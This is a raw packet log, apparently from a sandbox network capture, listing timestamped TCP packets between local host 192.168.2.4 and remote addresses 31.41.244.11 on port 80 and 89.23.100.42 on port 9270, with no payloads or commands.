Dec 15, 2024 11:59:41.243452072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.247884989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.247936964 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.247978926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.248016119 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.252526045 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.252526999 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.252579927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.252605915 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.252640009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.252698898 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.257128000 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.257206917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.257252932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.257297039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.261524916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.261590958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.261673927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.261722088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.265177965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.265197039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.265254021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.265326023 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.268425941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.268496037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.268541098 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.268594027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.271758080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.271820068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.271905899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.271953106 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.275190115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.275249958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.275461912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.275515079 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.278456926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.278511047 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.278593063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.278641939 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.281706095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.281769037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.282058954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.282109022 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.284691095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.284754038 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.284846067 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.284893036 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.287859917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.287873983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.287926912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.287966967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.290812969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.290870905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.290973902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.291021109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.293704033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.293767929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.293838978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.293899059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.296570063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.296618938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.296708107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.296765089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.299532890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.299606085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.299702883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.299752951 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.302445889 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.302510977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.302560091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.302615881 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.305370092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.305444956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.305490971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.305540085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.308340073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.308387995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.308429956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.308471918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.311161995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.311218977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.311258078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.311301947 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.314063072 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.314115047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.314132929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.314171076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.317001104 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.317056894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.317131042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.317183018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.319916010 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.319983006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.320063114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.320108891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.322047949 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.322096109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.322148085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.322192907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.324026108 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.324073076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.374731064 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.374742985 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.374808073 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.374958038 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.383732080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.383810997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.383883953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.383933067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.384773016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.384823084 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.384865046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.384910107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.386573076 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.386621952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.386667967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.386714935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.388470888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.388511896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.388520956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.388555050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.390393019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.390446901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.390525103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.390577078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.392286062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.392347097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.392421007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.392465115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.394182920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.394248962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.394294977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.394342899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.395992994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.396047115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.396064997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.396110058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.397872925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.397941113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.397986889 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.398035049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.399682999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.399744987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.399791002 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.399837017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.401576996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.401638031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.401638985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.401674032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.403331995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.403379917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.403506994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.403547049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.405102015 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.405158043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.405185938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.405230999 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.406939983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.406985044 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.406999111 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.407043934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.408720970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.408761024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.408873081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.408931971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.410495996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.410506964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.410540104 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.410574913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.412221909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.412275076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.412324905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.412369967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.413999081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.414052963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.414098024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.414140940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.415699959 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.415749073 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.415796041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.415841103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.417443037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.417500973 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.417614937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.417665958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.419163942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.419220924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.419328928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.419375896 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.420790911 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.420851946 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.420948029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.420995951 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.422420025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.422466993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.422507048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.422544003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.424068928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.424133062 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.424207926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.424256086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.425659895 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.425709963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.425772905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.425818920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.427289009 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.427369118 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.427413940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.427457094 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.428854942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.428901911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.428975105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.429019928 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.430546999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.430608034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.430681944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.430726051 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.432240009 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.432295084 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.432312965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.432471037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.433845043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.433901072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.433953047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.433998108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.435121059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.435179949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.435228109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.435275078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.436647892 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.436697006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.436707020 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.436760902 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.438214064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.438268900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.438334942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.438380957 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.439716101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.439762115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.439793110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.439836025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.441281080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.441325903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.441401958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.441447020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.442789078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.442843914 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.442889929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.442939997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.444236994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.444303989 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.444341898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.444386005 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.445374966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.445429087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.445471048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.445514917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.446677923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.446732044 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.446794987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.446847916 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.447940111 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.448004961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.448070049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.448115110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.449337959 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.449385881 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.449431896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.449476004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.450606108 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.450656891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.450728893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.450776100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.451736927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.451792002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.451838017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.451884031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.453027964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.453074932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.453135967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.453177929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.454345942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.454391956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.454466105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.454524040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.455593109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.455638885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.455710888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.455754995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.456890106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.456945896 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.456990957 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.457036018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.458175898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.458235979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.458272934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.458323002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.459436893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.459501028 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.459546089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.459598064 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.460709095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.460769892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.460817099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.460865021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.462011099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.462075949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.462107897 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.462153912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.463285923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.463347912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.463416100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.463459969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.464565992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.464620113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.464682102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.464725971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.465830088 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.465881109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.494551897 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.494611979 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.494642973 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.529232979 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.575922012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.575958967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.576020002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.576436996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.576479912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.576479912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.576679945 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.576730013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.577415943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.577470064 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.577527046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.577570915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.578414917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.578459978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.578588963 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.578634024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.579418898 CET	80	49839	31.41.244.11	192.168.2.4
